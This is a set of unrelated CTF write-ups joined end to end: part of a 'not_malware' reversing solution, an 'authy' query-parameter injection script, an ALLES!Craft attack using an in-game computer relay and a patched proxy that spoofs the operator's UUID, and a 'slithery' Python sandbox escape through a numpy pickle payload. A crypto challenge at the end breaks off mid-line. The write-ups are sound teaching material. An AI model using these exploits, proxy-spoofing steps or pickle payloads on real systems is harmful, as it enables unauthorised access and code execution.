```gefβ€ break *0x555555454000 + 0x001014d6Breakpoint 2 at 0x5555555554d6```
Run it again with new input:
```gefβ€ rStarting program: /home/kali/Downloads/csaw/not_malware_patched What's your credit card number (for safekeeping) ?>> softbank:AAA:BBBB```
Continue past the first breakpoint and this is what we hit:
```[ Legend: Modified register | Code | Heap | Stack | String ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ$rax : 0x0 $rbx : 0x0 $rcx : 0x0 $rdx : 0x42 $rsp : 0x00007fffffffdc40 β 0x3834373939360000$rbp : 0x00007fffffffdcf0 β 0x00005555555558f0 β endbr64 $rsi : 0x00005555555560c6 β 0x21736b6e61685400$rdi : 0x00007fffffffd9e0 β 0x00000000fbad8001$rip : 0x00005555555554d6 β cmp dl, al$r8 : 0x0 $r9 : 0x00007fffffffdad0 β 0x0000000000000000$r10 : 0x00007fffffffd97f β "699748423"$r11 : 0x0 $r12 : 0x0000555555555130 β endbr64 $r13 : 0x0 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ0x00007fffffffdc40β+0x0000: 0x3834373939360000 β $rsp0x00007fffffffdc48β+0x0008: 0x0000000000333234 ("423"?)0x00007fffffffdc50β+0x0010: 0x0000000a42424242 ("BBBB\n"?)0x00007fffffffdc58β+0x0018: 0x00000000000000000x00007fffffffdc60β+0x0020: 0x00000000400000000x00007fffffffdc68β+0x0028: 0x00000000000000000x00007fffffffdc70β+0x0030: 0x00000000000000000x00007fffffffdc78β+0x0038: 0x0000000000000000βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ 0x5555555554c8 adc edi, DWORD PTR [rsi-0x23] 0x5555555554cb movzx edx, BYTE PTR [rbp-0xa0] 0x5555555554d2 movzx eax, BYTE PTR [rbp-0x80] β 0x5555555554d6 cmp dl, al 0x5555555554d8 je 0x5555555554e4 0x5555555554da mov edi, 0x1 0x5555555554df call 0x555555555110 <exit@plt> 0x5555555554e4 movzx edx, BYTE PTR [rbp-0x90] 0x5555555554eb movzx eax, BYTE PTR [rbp-0x70]βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ[#0] Id 1, Name: "not_malware_pat", stopped 0x5555555554d6 in ?? (), reason: BREAKPOINTβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ[#0] 0x5555555554d6 β cmp dl, al[#1] 0x7ffff7ccccca β __libc_start_main(main=0x5555555552bc, argc=0x1, argv=0x7fffffffdde8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffddd8)[#2] 0x55555555515e β hlt ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββgefβ€ ```
This gives us the value that should come after `softbank:`:
```0x00007fffffffdc48β+0x0008: 0x0000000000333234 ("423"?)```
Run it again with our new input:
```gefβ€ rStarting program: /home/kali/Downloads/csaw/not_malware_patched What's your credit card number (for safekeeping) ?>> softbank:423:BBBB```
Continue past the first breakpoint and we get:
```[ Legend: Modified register | Code | Heap | Stack | String ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ$rax : 0x38 $rbx : 0x0 $rcx : 0x0 $rdx : 0x42 $rsp : 0x00007fffffffdc40 β 0x3136373831370000$rbp : 0x00007fffffffdcf0 β 0x00005555555558f0 β endbr64 $rsi : 0x00005555555560c6 β 0x21736b6e61685400$rdi : 0x00007fffffffd9e0 β 0x00000000fbad8001$rip : 0x00005555555554d6 β cmp dl, al$r8 : 0x0 $r9 : 0x00007fffffffdad0 β 0x0000000000000000$r10 : 0x00007fffffffd980 β "71876166"$r11 : 0x0 $r12 : 0x0000555555555130 β endbr64 $r13 : 0x0 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ0x00007fffffffdc40β+0x0000: 0x3136373831370000 β $rsp0x00007fffffffdc48β+0x0008: 0x0000000000003636 ("66"?)0x00007fffffffdc50β+0x0010: 0x0000000a42424242 ("BBBB\n"?)0x00007fffffffdc58β+0x0018: 0x00000000000000000x00007fffffffdc60β+0x0020: 0x00000000400000000x00007fffffffdc68β+0x0028: 0x00000000000000000x00007fffffffdc70β+0x0030: "88557665573808687497"0x00007fffffffdc78β+0x0038: "573808687497"βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ 0x5555555554c8 adc edi, DWORD PTR [rsi-0x23] 0x5555555554cb movzx edx, BYTE PTR [rbp-0xa0] 0x5555555554d2 movzx eax, BYTE PTR [rbp-0x80] β 0x5555555554d6 cmp dl, al 0x5555555554d8 je 0x5555555554e4 0x5555555554da mov edi, 0x1 0x5555555554df call 0x555555555110 <exit@plt> 0x5555555554e4 movzx edx, BYTE PTR [rbp-0x90] 0x5555555554eb movzx eax, BYTE PTR [rbp-0x70]βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ[#0] Id 1, Name: "not_malware_pat", stopped 0x5555555554d6 in ?? (), reason: BREAKPOINTβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ[#0] 0x5555555554d6 β cmp dl, al[#1] 0x7ffff7ccccca β __libc_start_main(main=0x5555555552bc, argc=0x1, argv=0x7fffffffdde8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffddd8)[#2] 0x55555555515e β hlt ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββgefβ€ ```
So now we know our input starts with:
```softbank:423:```
And it's now comparing `66` to `BBBB\n`
This string on the stack looks interesting, must be where the `66` comes from:
```0x00007fffffffdc70β+0x0030: "88557665573808687497"```
Right around the time I saw that `88557665573808687497` string above, [datajerk](https://github.com/datajerk) chimed in with:
```so angr solved it, but it does not work, but did help with the formatsoftbank:xxx:xxxxxxxxxxxxxxxxxxxx:end```
`xxxxxxxxxxxxxxxxxxxx` looked like the right length for `88557665573808687497`, so I gave it a shot:
```kali@kali:~/Downloads/csaw$ echo 'softbank:423:88557665573808687497:end' | ./not_malware_patched What's your credit card number (for safekeeping) ?>> Thanks!Segmentation fault```
Nice! That got us through all the remaining checks.
```c if (local_47 != ':') { puts("Get out."); /* WARNING: Subroutine does not return */ exit(1); } local_c = 0; local_ac = 0x646e65; while( true ) { if (2 < local_c) { puts("Thanks!"); FUN_00101229(); return 0; } if (*(char *)((long)&local_ac + (long)local_c) != local_68[local_c + 0x22]) break; local_c = local_c + 1; }```
The code above checks for `:end` and gives us the flag if we're successful:
```cvoid FUN_00101229(void)
{ char local_118 [264]; FILE *local_10; local_10 = fopen("flag.txt","r"); __isoc99_fscanf(local_10,&DAT_00102061,local_118); puts(local_118); fclose(local_10); return;}```
My local run only segfaulted because I don't have a `flag.txt` file.
## Solution
All that's left is to send our input to the remote server to get the flag:
```kali@kali:~/Downloads/csaw$ echo 'softbank:423:88557665573808687497:end' | nc rev.chal.csaw.io 5008What's your credit card number (for safekeeping) ?>> Thanks!flag{th4x_f0r_ur_cr3d1t_c4rd}```
## Addendum
I actually started down the gdb approach to understand the input format so that I could write a well-constrained angr script to solve the problem. Meanwhile, [datajerk](https://github.com/datajerk) started with an angr script and found the format I needed to pair with the strings that I saw on the stack in gdb. Teamwork, FTW!
This is the approach he used to find the input format:
```python#!/usr/bin/env python3
# patch out all the init checks for angrfrom pwn import *binary = ELF('not_malware')binary.write(0x18d1,5*b'\x90')binary.write(0x12aa,5*b'\x90')binary.write(0x12af,5*b'\x90')binary.write(0x12b4,5*b'\x90')binary.save('not_malware_patched')os.chmod('not_malware_patched',0o755)
import angr, time, ioFIND_ADDR=0x401729 # puts("Thanks!");t=time.time()binary = open('./not_malware_patched','rb').read()proj = angr.Project(io.BytesIO(binary),auto_load_libs=False)state = proj.factory.entry_state()simgr = proj.factory.simulation_manager(state)simgr.use_technique(angr.exploration_techniques.DFS())simgr.explore(find=FIND_ADDR)print(simgr.found[0].posix.dumps(0))print(time.time() - t,end="")print(" seconds")```
With no constraints, that gives us:
```kali@kali:~/Downloads/csaw$ ./not_malware_angr.py[*] '/home/kali/Downloads/csaw/not_malware' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled...b'\x02\x02@\x10\x00@\x08\x04:\x00G\xf1:\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:end \x10\x10@@\x08\x80@\x01 \x10\x00\x80@\x08\x02 @\x08\x00\x02\x00'73.06609392166138 seconds```
Let's add some constraints, given what we know about the format now.
```python#!/usr/bin/env python3
# patch out all the init checks for angrfrom pwn import *binary = ELF('not_malware')binary.write(0x18d1,5*b'\x90')binary.write(0x12aa,5*b'\x90')binary.write(0x12af,5*b'\x90')binary.write(0x12b4,5*b'\x90')binary.save('not_malware_patched')os.chmod('not_malware_patched',0o755)
import angr, time, io, claripyFIND_ADDR=0x401729 # puts("Thanks!");t=time.time()binary = open('./not_malware_patched','rb').read()proj = angr.Project(io.BytesIO(binary),auto_load_libs=False)
input_len = 37ccard_chars = [claripy.BVS('ccard_%d' % i, 8) for i in range(input_len)]ccard = claripy.Concat(*ccard_chars + [claripy.BVV(b'\n')])state = proj.factory.entry_state(stdin=ccard)
for i, k in enumerate(ccard_chars): # only printable characters state.solver.add(k < 0x7f) state.solver.add(k > 0x20) if i <= 7: # first 8 chars are lowercase letters state.solver.add(k >= 0x61) state.solver.add(k <= 0x7a) elif i >= 9 and i <= 11: # then 3 digits state.solver.add(k >= 0x30) state.solver.add(k <= 0x39) elif i >= 13 and i <= 32: # then 20 digits state.solver.add(k >= 0x30) state.solver.add(k <= 0x39) elif i >= 34 and i <= 36: # then 3 lowercase letters state.solver.add(k >= 0x61) state.solver.add(k <= 0x7a)
simgr = proj.factory.simulation_manager(state)simgr.use_technique(angr.exploration_techniques.DFS())simgr.explore(find=FIND_ADDR)print(simgr.found[0].posix.dumps(0))print(time.time() - t,end="")print(" seconds")```
That gives us:
```kali@kali:~/Downloads/csaw$ ./not_malware_angr.py ...b'ebdarcpd:002:00000000000000000000:end\n'47.511109828948975 seconds```
At least it's more legible, but still doesn't give us the right answer. And it varies from run to run.
```kali@kali:~/Downloads/csa./not_malware_angr.py ...b'peepbank:006:00000000000000000000:end\n'22.56076955795288 seconds```
That must have something to do with the transformations on the stack. I think you actually have to run this thing to get the correct behavior, not just symbolic execution. I'll be interested to see if someone else comes up with a working angr solution for this challenge.
Even if it's possible to solve with angr, it still seems quicker to step through it with gdb in this case. By the time you've added enough constraints to angr, you probably know enough to solve it on your own. |
# authy
Author: [roerohan](https://github.com/roerohan) and [thebongy](https://github.com/thebongy)
# Requirements
- Python
# Source
- [handout.py](./handout.py)
```Check out this new storage application that your government has started! It's supposed to be pretty secure since everything is authenticated...
curl crypto.chal.csaw.io:5003```
# Exploitation
This is possibly an probably solution. We do not use any crypto, just exploit the following lines of code:
```pyparams = identifier.replace('&', ' ').split(" ")note_dict = { param.split("=")[0]: param.split("=")[1] for param in params }```
We can make use of the replace `'&'` with `' '` by inserting `'&'`s in the values for the query params, so that the resultant strings turn out like the following.
```admin=False&access_sensitive=False&author=&admin=True&access_sensitive=True¬e=&entrynum=783```
Here, we pass the value of `author` as `&admin=True&access_sensitive=True`, so that when the server replaces `'&'` by `' '`, the `admin` and the `access_sensitive` keys are overwritten.
There is one small problem, the `entrynum` is attached to the end of the string, hence can't be overwritten by using this technique. We can look into the `/new` route to find out why it's at the end.
In the `/new` route, the following code is executed:
```pypayload = flask.request.form.to_dict()if "author" not in payload.keys(): return ">:(\n"if "note" not in payload.keys(): return ">:(\n"
if "admin" in payload.keys(): return ">:(\n>:(\n"if "access_sensitive" in payload.keys(): return ">:(\n>:(\n"
info = {"admin": "False", "access_sensitive": "False" }info.update(payload)info["entrynum"] = 783```
The `entrynum` key is set at the end, hence it appears at the end. Therefore, if the request body already had a key called `entrynum` before `author`, it would show up before and could be overwritten by using the `&` strategy in `author` or `note`. The following script can be used to solve the challenge.
```pyimport requestsimport base64
local = False
url = lambda x: "http://crypto.chal.csaw.io:5003" + x
if local: url = lambda x: "http://localhost:5000" + x
def view(id, integrity): print(f"\n\nSending id={id}, integrity={integrity}\n\n") r = requests.post( url("/view"), data={ "id": id, "integrity": integrity, }, )
print("\n\n") print(r.text) return r.text
data = { "entrynum": 7, "author": "&admin=True", "note": "&access_sensitive=True&entrynum=7",}
r = requests.post(url("/new"), data=data)
encoded, hexdigest = r.text.strip().split(":")encoded = encoded.split('Successfully added ')[1]
print("Encoded: " + encoded)print("Hexdigest: " + hexdigest)
flag = view(encoded, hexdigest)```
The flag is:
```flag{h4ck_th3_h4sh}``` |
# ALLES!Craft**Catagory:** Game Pwn **Difficulty:** Hard> JOIN MY NEW COOL MINECRAFT SERVER, PLS NO HAX :)
## Challenge SetupThe challenge server consists of a Waterfall proxy, which is connected to a server running SpongeForge. The only installed mod on the server is the [OpenComputers](https://github.com/MightyPirates/OpenComputers) mod. The Waterfall proxy is also connected to a queue server. When we first connect to the proxy, we are moved to the queue server. After completing a simple parkour challenge (using [flyhacks](https://impactclient.net/) of course ;) ), we are moved to a SpongeForge server. Each SpongeForge server allows one player to connect at a time.
 We are provided with all required files to set up a local server. This also includes source code for a custom "flag" plugin that runs on the SpongeForge server.
## Poking at the pluginThe plugins code is fairly straight forward; A new command is registered that simply returns the flag. The only catch is that you need "\*" (operator) permissions to use it. ```java@Listenerpublic void onServerStart(GameStartedServerEvent ev) { Sponge.getCommandManager().register(this, CommandSpec.builder().description(Text.of("Obtain the flag")).permission("*")```Furthermore, the plugin also hints that it is possible for admins to join the SpongeForge server, which will become important later.```java@Listenerpublic void onPlayerDisconnect(ClientConnectionEvent.Disconnect ev) { // Shutdown the server if the owning player exits // We need this check in order for ALLES! admins to be able to join and leave // We are always watching :) Build us something nice ;)```
## The server filesThe provided server files allow us to examine the setup of the servers. The proxy and queue servers are also included, but all of the interesting stuff is in the SpongeForge settings. ### Sponge Server PropertiesThe `server.properties` file reveals that the server is running on port `31337`. It also shows that the server is running in offline mode, and will trust any upstream proxy to handle authentication. I'll go into more detail later, but in a nutshell; you should **never** be allowed to connect to Forge directly, since it doesn't perform any authentication. This is ensured by disallowing any remote connections directly to the Forge server.
Finally, the `ops.json` file contains the following:```json[ { "uuid": "8526be5c-2c8b-4661-83eb-a160bf9818ec", "name": "ALLESCTF", "level": 4, "bypassesPlayerLimit": false }]```There is a single Operator account called `ALLESCTF`. If we can impersonate this account, we can promote our own account to operator as well.
## But what about this computer thingy?The server only has a single mod installed, so it's probably important somehow. After joining the server, we find ourselves on a small island, with a computer set up on the shore. When examining the computer, I noticed that it contains an [internet card](https://ocdoc.cil.li/item:internet_card). The internet component supports both raw TCP sockets, and HTTP requests. The catch here is that these TCP sockets will originate **from** the SpongeForge server, and thus will not be shot down by the firewall rules. Furthermore, it is also able to connect to any IP on the internet. To drive home the point that these sockets are stupidly powerful, people have written actual [FTP servers](https://github.com/Jereq/OC-FTP) and [IRC clients](https://github.com/MightyPirates/OpenComputers/blob/master-MC1.7.10/src/main/resources/assets/opencomputers/loot/irc/usr/bin/irc.lua) using them.
## Putting it all togetherNow that we have a way to create a TCP proxy from inside the SpongeForce server, we have all required parts to complete the challenge.
### Final goalLet's start by giving a quick overview of the game plan here. We want to set up a TCP session through an OpenComputers program. We will need 3 pieces of software to realise this goal: * A proxy written in Lua, to run on the in-game computer.* A "middleware" proxy (written in Python).* An "Evil" Waterfall proxy, to handle authentication. 
**note:** While I used a different machine to host the Python and Waterfall proxies, there is no reason you couldn't host everything on your own machine. It was just slightly more convenient for me to do it this way.
### Lua ProxyThe Lua proxy will run on the in-game computer. Its job is to set up two connections, one connection to the attackers server, and another connection to the SpongeForge server. Then it just needs to pass TCP data back and forth to create a connection. Here is the code for our proxy:```lualocal component = require("component") local net = component.internet
-- Remote proxy -- your domain/IP here Vlocal remote = net.connect("ctf.bricked.tech", 1337) -- Local minecraft serverlocal local_serv = net.connect("0.0.0.0", 31337)
local size = 4096
if (remote and local_serv) then print("Connected to both servers") local data while(remote and local_serv) do -- [remote] --> [alles] data = remote.read(size) if data then local_serv.write(data) end -- [alles] --> [remote] data = local_serv.read(size) if data then remote.write(data) end endend
remote:close() local_serv:close()
```### Python ProxyThe Python proxy will serve as "middleware" between our Waterfall server and the Lua proxy. It starts by listening for an incoming connection from the Lua proxy. Once it connects, the proxy starts listening for a connection from our "Evil" Waterfall proxy. Once both connections are established, it behaves pretty much the same as the previous proxy. This proxy is not very robust, but it only needs to work once Β―\\\_(γ)\_/Β―.```pythonimport socket
MC_PORT = 25567CTF_PORT = 1337SIZE = 4096
# Open a port for the chal server to connect tos_ctf = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s_ctf.bind(("", CTF_PORT))s_ctf.listen()
# Open a port for our Waterfall server to connect tos_mc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s_mc.bind(("", MC_PORT))s_mc.listen()
# Wait for the chal server to connectctf_conn, ctf_addr = s_ctf.accept()print("Incomming connection from chal {}".format(ctf_addr))ctf_conn.settimeout(0.5)
# Wait for Waterfall to connectmc_conn, mc_addr = s_mc.accept()mc_conn.settimeout(0.5)print("\"Evil\" Waterfall proxy connected from {}".format(mc_addr))
while True: # [Waterfall] --> [Lua Proxy] try: client_data = mc_conn.recv(SIZE) ctf_conn.send(client_data) except socket.timeout: pass # [Waterfall] <-- [Lua Proxy] try: ctf_data = ctf_conn.recv(SIZE) mc_conn.send(ctf_data) except socket.timeout: pass
```**note:** This will only work for the first Waterfall connection.
### "Evil" Waterfall proxyAt this point, we can already connect to the SpongeForge server, via our Python proxy. When we try to join however, we encounter the following error:  The issue is that the SpongeForge server is expecting to receive authentication data from an upstream proxy. Therefore, we need some Waterfall proxy that will "vouch" for us when we claim to be `ALLESCTF`. This can be achieved by creating a new Waterfall proxy and configuring it to run in "offline mode". This allows us to join the SpongeForge server as `ALLESCRAFT`. So job done right? Well not exactly. Each user also has a unique UUID, which should also match the UUID defined in `ops.json` before we receive operator permissions. The UUID is calculated differently when a server is in offline mode, hence it won't match the saved UUID. To work around this issue, we can simply hardcode the offline UUID to always return "8526be5c-2c8b-4661-83eb-a160bf9818ec". This will only work for the `ALLESCTF` account, but that is good enough for us. I cloned the [Waterfall repository](https://github.com/PaperMC/Waterfall) and added a small "git patch" to hardcode correct UUID:```diffdiff --git a/proxy/src/main/java/net/md_5/bungee/connection/InitialHandler.java b/proxy/src/main/java/net/md_5/bungee/connection/InitialHandler.javaindex 1d419de5..f14dd9c5 100644--- a/proxy/src/main/java/net/md_5/bungee/connection/InitialHandler.java+++ b/proxy/src/main/java/net/md_5/bungee/connection/InitialHandler.java@@ -497,10 +497,16 @@ public class InitialHandler extends PacketHandler implements PendingConnection } - offlineId = UUID.nameUUIDFromBytes( ( "OfflinePlayer:" + getName() ).getBytes( Charsets.UTF_8 ) );+ //ALLES CTF PATCH+ // UUID for ALLESCTF:+ offlineId = Util.getUUID("8526be5c2c8b466183eba160bf9818ec"); if ( uniqueId == null ) { uniqueId = offlineId; } Callback<LoginEvent> complete = new Callback<LoginEvent>()```
Now, we can compile Waterfall and execute it to generate a `config.yml` file. We need to make the following changes to the config:* online_mode: false* forge_support: true* servers: * lobby: * address: [PythonProxyIP:25567]
## Flag timeWith all software in place, it is time to retrieve the flag! First we need to craft an [OpenOs floppy disk](https://ocdoc.cil.li/item:openos_floppy) with the resources on the island. After which we can boot up the computer and paste our Lua code into a new file. Make sure the Python proxy is running, before executing the Lua script. When the Lua script is executed, a connection will appear in the Python proxy. Then, start a second Minecraft client in offline mode, logged in as `ALLESCTF`. I used [Impact](https://impactclient.net/)'s alt manager for convenience. Finally, start the "Evil" Waterfall proxy and connect to it from the second client. The connection will be painfully slow and unstable, but should last just long enough to type:```/op [YourUserName]```After that command goes through, you can simply type `/flag` on your main account to receive the flag. |
# slithery
Author: [roerohan](https://github.com/roerohan) and [thebongy](https://github.com/thebongy)
# Requirements
- Python
# Source
- [sandbox.py](./sandbox.py)
```Setting up a new coding environment for my data science students. Some of them are l33t h4ck3rs that got RCE and crashed my machine a few times :(. Can you help test this before I use it for my class? Two sandboxes should be better than one...
nc pwn.chal.csaw.io 5011```
# Exploitation
This is a python jail escape challenge. In the source file, you see the following lines:
```pyfinal_cmd = """uOaoBPLLRN = open("sandbox.py", "r")uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]uOaoBPLLRN.close()HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + commandexec(final_cmd)```
Once you decode these, they basically translate to:
```pysandbox = open("sandbox.py", "r")l = ['from', 'base64', 'import', 'b64decode']base64 = l[1]b64decode = l[-1]sandbox.close()base64_b64decode = getattr(__import__(base64), b64decode)numpy = __builtins__.__dict__[base64_b64decode(b'X19pbXBvcnRfXw==').decode('utf-8')](base64_b64decode(b'bnVtcHk=').decode('utf-8'))```
So you can see which variable stores what. Now, the script executes the command you entered along with the list of commands shown above, with obfuscated variable names.
There is of course a blacklist, part of which have written in [blacklist.py](./blacklist.py). We notice `numpy` has been imported. `numpy` has a function `numpy.load()`, which can take load a pickle payload from a file, given the option `allow_pickle=True`. We know that we can execute RCE using pickle payloads, which is exactly what we have to do.
The challenge however is to create a `file like object` for `numpy.load()`, since you don't have access to write a file on the system. Reading the documentation for `numpy.load()` you find out that a `file like object` is any object which has the attributes `read`, `readline`, and `seek`. You don't need to implement these properly, but they must return the expected type of data. We pass the pickle payload as bytes in the `lambda x` function. Here's how you can do all of this in 1 line, keeping the blacklist in consideration.
```py$ nc pwn.chal.csaw.io 5011EduPy 3.8.2>>> obj=lambda: None; setattr(obj, HrjYMvtxwA('cmVhZA==').decode(), lambda x: bytes([128, 3, 99, 112, 111, 115, 105, 120, 10, 115, 121, 115, 116, 101, 109, 10, 113, 0, 88, 12, 0, 0, 0, 99, 97, 116, 32, 102, 108, 97, 103, 46, 116, 120, 116, 113, 1, 133, 113, 2, 82, 113, 3, 46])); setattr(obj, HrjYMvtxwA('c2Vlaw==').decode(), lambda x,y:x); setattr(obj, HrjYMvtxwA('cmVhZGxpbmU=').decode(), lambda x: bytes([128, 3, 99, 112, 111, 115, 105, 120, 10, 115, 121, 115, 116, 101, 109, 10, 113, 0, 88, 12, 0, 0, 0, 99, 97, 116, 32, 102, 108, 97, 103, 46, 116, 120, 116, 113, 1, 133, 113, 2, 82, 113, 3, 46]));RMbPOQHCzt.load(obj, allow_pickle=True)flag{y4_sl1th3r3d_0ut}```
The flag is:
```flag{y4_sl1th3r3d_0ut}``` |
# Randomness (Crypto)```XOR is simple , but if I choose random things, would it be more secure?
Author: Semah BA```Challenge file: [Randomness.py](Randomness.py)```pyfrom Crypto.Util.number import *from random import *
flag="TODO"p=getPrime(64)a=getrandbits(64)b=getrandbits(64)X=[]X.append((a*getrandbits(64)+b)%p)c=0while c |
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